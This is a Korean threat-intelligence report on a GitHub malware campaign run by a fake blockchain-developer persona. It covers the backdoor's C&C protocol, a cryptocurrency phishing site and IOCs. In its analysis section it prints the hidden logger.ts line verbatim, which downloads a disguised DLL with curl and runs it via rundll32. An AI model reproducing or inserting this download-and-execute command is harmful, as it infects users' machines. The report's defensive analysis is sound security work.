위협 인텔리전스
엔키화이트햇
2025. 6. 4.
요약
깃허브에서 동일한 악성코드를 포함한 리포지토리 2개를 발견해 분석했다.
공격자는 실제 리포지토리를 복사하거나 긴 공백을 통해 악성코드를 숨기는 등 다양한 수법을 사용하여 정상 리포지토리처럼 보이도록 하였다.
최종적으로 실행되는 백도어 악성코드는 여러 스레드가 상호작용하며, IOCP(Input/Ouptput Completion Port )를 통해 C&C 서버와 통신한다.
공격자의 리포지토리를 조사해 공격 변환 과정을 파악했고, 공격자가 풀스택 및 블록체인 개발자로 위장해 구직 활동한 것을 확인했다.
공격자는 리포지토리에 악성코드를 삽입할 뿐만 아니라, 피싱 사이트를 제작하고 채용 과정으로 위장한 악성코드 유포 공격도 준비중이다.
1. 개요
깃허브는 개발자들이 자신의 작업물이나 포트폴리오를 공유하고 협업하는 데 활용되는 플랫폼이다. 그러나 연구원이나 개발자, 구직자로 위장하여 정상적인 리포지토리처럼 보이게 한 뒤, 일부 파일에 악성 스크립트를 삽입하거나 악성코드를 1-Day 취약점 PoC로 위장해 업로드하는 등 악성코드 감염을 유도하는 다양한 사례가 존재한다.
북한 IT 노동자들의 경우 외화 벌이와 정보 탈취 목적으로 링크드인과 깃허브에 허위 프로필을 만들고, 개발자로 위장하여 취업을 시도하는 사례가 확인된 바 있다.
이처럼 깃허브는 공격자들이 사회공학 기법과 결합하여 채용 담당자나 일반 사용자를 속이는 데 악용되고 있다.

caption - 공격자의 구직 활동 기록
본 글에서는 일부 리포지토리에 악성 스크립트를 삽입하고, 구직자로 위장하여 활동하는 공격자의 활동과 악성코드, 그리고 이와 연결된 피싱 공격에 대한 내용을 다룬다.
2. 공격자 정보
공격자는 깃허브 “RealToma” 계정을 사용하며, 화려한 경력을 가진 것처럼 프로필을 꾸민 뒤 정상적인 사용자로 보이도록 위장하였다.

caption - RealToma 깃허브 개요
SNS나 홍보하고 싶은 여러 링크들을 한 페이지에서 보여주는 링크트리를 이용하여 공격자가 이메일, 이력서, 깃허브, 링크드인 등을 정리한 것도 확인할 수 있다.

caption - 공격자 링크트리
블록체인 채용 플랫폼인 web3.career에서 공격자 계정을 확인하면 12년 경력의 풀스택 및 블록체인 개발자 Thomas Ken 으로 구직 활동을 하고 있는 것을 알 수 있다.

caption - web3.career 자기 소개 정보
3. 악성코드 분석
3.1. 악성 스크립트가 포함된 깃허브 리포지토리
공격자가 생성한 리포지토리 중 구독 서비스 로그인과 결제를 자동으로 지원하는 텔레그램 봇 리포지토리가 존재한다.

caption - 공격자 리포지토리 중 하나인 Ly_AutoPayBot
해당 리포지토리에서 로깅 기능의 src/helper/logger.ts 파일에 악성 스크립트가 삽입되었다. 실제 코드는 46번째 줄에서 끝나지만, 368번째 줄에 긴 공백을 이용하여 악성 스크립트가 숨겨져 있다.

caption - logger.ts 파일에 삽입된 악성 스크립트
악성 스크립트는 logger.ts가 import될 때마다 실행된다. 따라서 LyAutoPayBot 리포지토리를 받아와, 봇을 실행한 사용자들은 악성코드에 감염된다.
해당 스크립트는 무료 파일 호스트 사이트인 catbox에서 악성코드를 다운받아 실행한다. 전체 명령어는 아래와 같다.
import {exec} from 'child_process'; exec(`cmd.exe /C "curl -s <https://files.catbox.moe/mur3el.png> -o %temp%/temp.png && START /B rundll32.exe %temp%/temp.png DllRegisterServer"`);
다운받아 실행되는 mur3el.png 파일은 C++로 작성된 DLL 파일로, DllRegisterServer 함수에 악성 행위가 존재한다.
3.2. mur3el.png
동작 방식
mur3el.png는 2개의 스레드를 생성하며, 프로그램 실행 시 생성되는 PrimaryThread를 포함하여 총 3개의 스레드가 상호작용하며 악성 행위를 한다. 스레드 별 기능은 아래 표와 같다.
caption - 스레드 기능
스레드 간 상호작용 과정은 PrimaryThread에서 초기 설정을 한 뒤, SendThread와 RecvThread를 순차적으로 생성 및 실행하는 방식으로 이루어진다. SendThread는 C&C 서버로 프로세스 ID와 명령 수행 결과를 전송하고, RecvThread는 IOCP Worker Thread로 설정되어 C&C 서버로부터 명령을 수신하고 이를 처리한다.
이러한 과정은 루프 형태로 반복되며, 종료 명령 수신 시 PrimaryThread가 각 스레드를 비활성화하고 소켓 연결을 종료한다. 이 과정에서 사용되는 주요 변수와 설명은 아래 표와 같다.
caption - 주요 변수 설명
스레드 간 상호작용과 C&C 서버 통신 과정을 시퀀스 다이어그램으로 표현한 것은 아래 그림에서 확인할 수 있다.

caption - 스레드 간 상호작용 및 C&C 서버 통신 과정
C&C 통신
C&C 서버와의 통신은 HTTP POST 요청으로 이루어지며 Windows의 Input/Ouptput Completion Port(이하 IOCP) 기능을 이용한다. 이 과정에서 IOCP의 Overlapped 구조체를 확장해서 사용하기 때문에, 통신 과정에서 MsgType이 함께 송수신된다. MsgType 값은 2, 3, 8 중 하나이며 RecvThread에서 사용된다.
IOCP를 이용한 C&C 서버로의 요청은 아래 그림과 같이 수행된다.

caption - HTTP POST 요청 전송 과정
자세한 과정은 다음과 같다.
C&C 서버와의 TCP three-way-handshake 과정에서 SYN, ACK 패킷이 IOCP 기능으로 인하여 RecvThread에도 전달된다.
RecvThread는 SYN, ACK 패킷을 받아 SocketFlag를 2로 설정한다.
이후 ACK 패킷을 보내 three-way-handshake를 완료한 SendThread에서 SocketFlag가 2인 것을 확인하고 C&C 서버로 HTTP POST 요청을 보낸다.
암·복호화 방식
악성코드 문자열 데이터 복호화와 C&C 서버 송수신 데이터 암·복호화에는 Base64와 MT19937을 이용하고, 이 과정에서 사용되는 MT19937 시드 값은 상이하다.
먼저 문자열 데이터 복호화 과정은 다음과 같다.
암호화된 데이터 Base64 디코딩
디코딩된 데이터 첫 4바이트를 MT19937 시드 값으로 사용
MT19937 출력 값과 1바이트 xor 연산 수행

caption - 문자열 데이터 복호화 루틴
C&C 서버 수신 데이터 복호화 과정은 다음과 같다.
암호화된 데이터 Base64 디코딩
0x4ACAB58C 값을 MT19937 시드 값으로 사용
MT19937 출력 값과 1바이트 xor 연산 수행

caption - C&C 수신 데이터 복호화 루틴
C&C 서버 송신 데이터 암호화 과정은 다음과 같다.
0x4ACAB58C 값을 MT19937 시드 값으로 사용
MT19937 출력 값과 1바이트 xor 연산 수행
데이터 Base64 인코딩
PrimaryThread
PrimaryThread는 “txtdobw” 이름의 뮤텍스를 생성하여 중복 실행되었는지 확인한다. 정상적으로 생성된 경우 악성코드에 감염된 시스템 볼륨 GUID 경로를 이용하여 감염 시스템을 식별할 수 있는 ID를 생성한다.

caption - 감염 시스템 ID 생성 루틴
ID 생성이 완료되면 SendThread를 생성하고, RecvThread를 IOCP Worker Thread로 설정하여 C&C 서버에서 데이터를 받았을 때 RecvThread가 실행되도록 한다.
이후 감염 시스템 정보를 수집하고 MsgDeque에 추가해 C&C 서버와 처음 연결되었을 때 수집한 정보를 전송한다. 수집하는 정보는 다음과 같다.
유저 이름
컴퓨터 이름
실행중인 프로세스 아이디
msci.cng 파일 데이터
msci.cng 파일은 악성코드가 설치된 경로에 있는 파일로, RecvThread에 해당 파일을 생성하는 루틴이 존재한다. 해당 파일에는 정수 값이 저장되며, 감염 시스템 정보를 수집할 때는 파일이 존재하지 않아 값이 0으로 설정된다.
마지막으로 MalwareShutdown 값이 1로 설정될 때까지 Sleep 함수를 호출하여 대기하고, 1로 설정되면 C&C 서버와의 소켓 연결과 SendThread, RecvThread 실행을 종료한다.
SendThread
SendThread는 SocketFlag에 따라 C&C 서버와의 연결을 시도하거나 MsgDeque에 저장된 데이터를 전송한다. SendThreadRunFlag가 1이 될 때까지 무한 루프 내에서 계속 실행된다.
SocketFlag에 따라 수행하는 행위는 아래 표와 같다.
caption - SocketFlag에 따른 행위
RecvThread
RecvThread는 C&C 서버로부터 수신한 데이터에 따라 악성 행위를 한다.
수신 데이터 중 MsgType 값에 따라 수행하는 행위는 아래 표와 같다.
caption - MsgType에 따른 행위
MsgType이 3일 때 수신 데이터는 아래의 조건을 만족해야 한다. 조건을 만족하면 복호화한 뒤 다음 행위를 수행하고, 만족하지 못하면 소켓 연결을 종료한다.
데이터가 “OK”로 시작한다.
“OK” 이후 데이터가 “<!DOCTYPE”로 시작하지 않는다.
명령 코드에 따라 수행하는 행위는 아래 표와 같다.
caption - 명령 코드에 따른 행위
4. 공격의 변화
공격자는 2024년 10월부터 2025년 2월까지 약 4개월동안 두 차례 악성 스크립트에 변화를 주었다. 다른 계정을 사용하여 악성코드를 유포하였고, 깃허브에 업로드된 파일 중 삽입된 악성 스크립트는 더욱 탐지하기 어렵도록 변경하였다. 최종적으로 실행되는 악성코드들은 행위에 변화가 없었고 reloc섹션 해시도 동일하였다.
2025년 5월에 공격자는 악성코드를 유포하던 깃허브 계정과 피싱 사이트를 연결하였다. 이를 통해 공격자는 깃허브를 통한 악성코드의 유포, 블록체인 개발자로서 구직 활동 뿐만 아니라 피싱 공격 또한 수행하고 있는 것을 확인할 수 있었다.
4.1. RealToma 계정
2024년 10월 RealToma 계정에 올라온 Ly_AutoPayBot 리포지토리는, 악성 스크립트가 난독화되지 않았으며 악성코드를 다운받아 실행하는 행위만 존재한다.

caption - Ly_AutoPayBot 리포지토리에서 확인된 악성 스크립트
RealToma 계정은 2025년 3월말 ~ 4월초에 삭제되었다.

caption - RealToma 계정 링크 접속 시 보이는 404 에러
4.2. mthomas0802 계정
2025년 2월, 공격자는 RealToma 계정 외에 다른 깃허브 계정을 사용하였다.

caption - mthomas0802 깃허브 개요
해당 계정은 “Uniswap V3 Market Marker Trading Bot” 리포지토리를 그대로 가져와서, mm.js에 악성 스크립트를 삽입하였다.

caption - jamesbachini – Market-Maker-Bot 리포지토리

caption - 공격자가 생성한 리포지토리(mthomas0802 - Market-Maker-Bot)
RealToma 계정이 삭제된 이후 mthomas0802 계정의 팔로잉 목록에 mercury-swap이라는 조직이 추가되었다.

caption - mthomas0802 계정의 팔로잉 목록
mercury-swap 조직은 공개된 리포지토리와 멤버가 없는 조직으로, 팔로워에 mthomas0802 계정을 포함한 2개의 계정이 존재한다.

caption - mercury-swap 조직 팔로워
4.3. L34rnT0C0d3 계정
L34rnT0C0d3 계정은 mthomas0802 계정과 함께 mercury-swap 조직을 팔로우하는 계정이다. 해당 계정의 리포지토리 목록을 보면 RealToma 계정의 Ly_AutoPayBot과 비슷한 이름의 AutoPayBot 리포지토리가 존재한다.

caption - L34rnT0C0d3 깃허브 개요
해당 리포지토리는 RealToma 계정의 Ly_AutoPayBot 리포지토리와 동일한 구성으로 이루어져 있다.

caption - L34rnT0C0d3의 AutoPayBot 리포지토리
AutoPayBot 리포지토리에서 src/helper/logger.ts 파일을 확인해보면 Ly_AutoPayBot 리포지토리와 같은 위치에 악성 스크립트가 삽입되어 있는 것을 확인할 수 있다.

caption - AutoPayBot 리포지토리에 삽입된 악성 스크립트
삽입된 스크립트는 Ly_AutoPayBot 리포지토리에서 발견된 스크립트와 일치하다.
4.4. 악성 스크립트 변화
공격자가 생성한 "mthomas0802 - Market-Maker-Bot" 리포지토리의 mm.js 파일 2번째 줄에서 긴 공백을 이용하여 악성 스크립트가 삽입된 것을 확인할 수 있다.

caption - 악성 스크립트가 삽입된 mm.js
과거 "RealToma - Ly_AutoPayBot" 리포지토리의 악성 스크립트는 난독화되지 않았지만, "mthomas0802 - Market-Maker-Bot" 리포지토리의 악성 스크립트에는 난독화가 적용된 것을 볼 수 있다. 난독화는 JavaScript Obfuscator Tool을 이용하여 적용되었다.
악성 스크립트 행위에도 변화가 존재한다. 이번 공격에서는 감염 시스템 OS 정보를 수집하여 C&C 서버에 전송하는 루틴이 추가되었다. 수집하는 정보는 아래와 같다.
[hostname] – [os type]([platform] [architecture] [os release version])

caption - 난독화 해제 결과
추가로 공격자는 악성 스크립트를 한 차례 수정하였다. 기존에 catbox를 이용하여 악성코드를 다운받는 방식을 dropbox를 이용하여 다운받는 방식으로 변경하고, 악성 스크립트 내 문자열들을 base64로 인코딩하였다.

caption - 난독화 해제 및 문자열 base64 디코딩 결과(dropbox에서 악성코드 다운로드)
감염 시스템 정보를 업로드하는 C&C 서버 주소도 변경된 것을 확인할 수 있다.
변경 전: 166.88.90[.]143
변경 후: 166.88.117[.]246
다운받은 악성코드가 통신하는 C&C 서버 주소도 변경되었다. catbox를 이용하여 다운받는 악성코드(RealToma, mthomas0802)와 dropbox를 이용하여 다운받는 악성코드(mthomas0802)로 나뉜다.
변경 전: hxxp://166.88.90[.]143/ms/edgeLogo.webp
변경 후: hxxp://166.88.117[.]246/blogs/21549876546523165464
이 과정에서 공격자는 깃허브 계정에 이메일 주소를 추가하였다.

caption - 깃허브 프로필에서 확인한 이메일 주소
공격 변화 외에도 공격자는 리포지토리를 생성할 때 커밋 로그를 조작하였다. 리포지토리 생성 일자는 2025년 2월 28일이지만 커밋 로그를 확인하면 2023년인 것을 알 수 있다. 이는 jamesbachini 계정의 리포지토리 커밋 로그와 동일하다.

caption - Market-Maker-Bot 리포지토리 생성 일자

caption - Market-Maker-Bot 커밋 로그
4.5. 피싱 공격 정황
공격자 깃허브 계정이 팔로우하는 mercury-swap 조직의 프로필에는 아래와 같이 Mercury Swap이라는 이름의 암호화폐 거래 사이트로 이어지는 링크가 존재한다.

caption - Mercury Swap 사이트
Mercury Swap 사이트는 Cow Protocol을 기반으로 구축된 거래 인터페이스인 Cow Swap을 따라 만들어진 피싱 사이트로, Cow Swap 사이트와 UI와 기능이 매우 유사한 것을 알 수 있다.

caption - CoW Swap 사이트
피싱 사이트에서 Connect Wallet 버튼을 누르면 아래와 같이 4개의 암호화폐 지갑 중 하나를 골라 연결할 수 있고, 만약 사용자가 해당 사이트에서 지갑을 연결한다면 공격자가 사용자의 지갑에서 인출하는 상황이 발생할 수 있다.

caption - 지갑 연결 팝업
5월 28일에는 Mercury Swap X 계정에 프론트엔드 개발자를 모집한다는 게시물이 올라왔다. 이는 잠재적으로 채용을 가장한 구직자 대상 악성코드 유포 공격이 될 수 있다.

caption - Mercury Swap X의 개발자 모집 글
구직자를 대상으로 악성코드를 유포하는 공격은 Contagious Interview, Operation DreamJob 등 다양한 공격 사례가 존재하기에 각별한 주의가 필요하다.
Contagious Interview 캠페인은 공격자가 구직자에게 접근하여 인터뷰를 진행하는 도중 코딩 테스트 등을 목적으로 악성 스크립트가 포함된 NPM 패키지를 다운로드 및 실행하도록 한다. Contagious Interview 캠페인은 화상 인터뷰 앱으로 위장하여 악성코드를 설치하게 하는 등 오랜 기간 동안 다양한 방식으로 진행되었다.

caption - Unit42에서 작성한 Contagious Interview 공격 흐름도
Operation DreamJob은 Lazarus 그룹의 공격으로 알려진 캠페인이며 직무 제안을 가장하여 악성코드가 포함된 문서를 보내 공격을 수행한다.

caption - ClearSky에서 작성한 Operation DreamJob 흐름도
5. 대응 방안
개인 사용자는 오픈소스를 사용할 때 코드 변경 내역을 확인하고 직접 코드 리뷰를 하는 습관이 중요하다. 겉보기에는 정상적이고 신뢰할 수 있는 계정처럼 보이지만, 실제로는 내부에 악성 스크립트가 포함되어 있을 수 있기 때문에 각별한 주의가 필요하다.
기업의 경우에는 채용 과정과 오픈소스 사용, 두 가지 측면에서 주의가 필요하다. 이를 예방할 수 있는 방안은 아래와 같다.
채용 과정
구직자로 위장한 공격자를 채용하게 될 경우, 내부 보안 위협으로 이어질 수 있기 때문에 채용 과정에서 프로필 및 신원 검증 강화가 필요하다.
공격자들은 딥페이크 기술을 이용하여 가짜 사진을 생성한다. 이력서, 포트폴리오, 링크드인 등에서 확인할 수 있는 사진이 AI를 사용하여 수정되었는지 확인한다.
프로젝트 참여 여부, 이전 근무지 확인 등의 교차 검증을 확실히 한다.
오픈소스 사용
공식 리포지토리 또는 기업 내부에서 승인한 오픈소스만 사용한다.
커밋 로그, 코드 변경 내역을 확인한다.
6. 마치며
본 글에서는 깃허브에서 구직자로 위장하여 악성코드를 유포한 사례에 대하여 분석하였다. 공격자는 이미 검증된 리포지토리를 복제한 후, 일부 파일에만 악성 스크립트를 삽입하여 악성코드를 유포한다. 또한 다른 사용자의 신뢰를 얻기 위해 팔로잉, 팔로워 수, 기여도 등을 조작한다.
처음 악성 스크립트가 발견된 RealToma 계정은 사라졌지만, mthomas0802 계정, L34rnT0C0d3 계정이 여전히 존재하며, 공격자는 깃허브를 통한 악성코드 유포 외에도 피싱 공격, 채용을 가장한 악성코드 유포 공격까지 다양한 공격을 시도하는 것으로 확인되었다.
해외에서는 비대면 채용과 원격 근무가 국내에 비해 활발하고, 국적과 신분을 속이고 가짜 경력을 이용해 IT 기업에 취업한 사례도 보고된 바 있다. 국내에서는 관련 사례가 밝혀지지 않았지만, 이러한 위협이 발생할 가능성이 충분하기 때문에 각별한 주의가 필요하다.
7. 부록
7.1. MITRE ATT&CK
caption - MITRE ATT&CK
7.2. IOCs
sha256
6ac3bd5e67f5ba1f8effbb53d25078e11ba3dd3d3d5046f5409d653c73db5d59
5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b
7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d
8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c
13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9
52046ad374041f0cabc47e897e10de86b64997ed6da8123d067dac7ead5343b7
C&C
hxxp://166.88.90[.]143:12321
hxxp://166.88.90[.]143/ms/edgeLogo.webp
hxxp://166.88.117[.]246:12321
hxxp://166.88.117[.]246/blogs/21549876546523165464
Mutex
txtdobw
Backdoor Download Link
hxxps://files.catbox[.]moe/zxmneq.png
hxxps://files.catbox[.]moe/mur3el.png
hxxps://www.dropbox[.]com/scl/fi/edq1ecio6zr2ophnnv3l7/89373.png?rlkey=whwftc8qf452xku7c8ya3cd5o&st=bcmppt7i&dl=0
Github Repository
hxxps://github.com/mthomas0802/Market-Maker-Bot
hxxps://github.com/RealToma/Ly_AutoPayBot
hxxps://github.com/L34rnT0C0d3
Phishing Site
hxxps://app[.]mercuryswap[.]io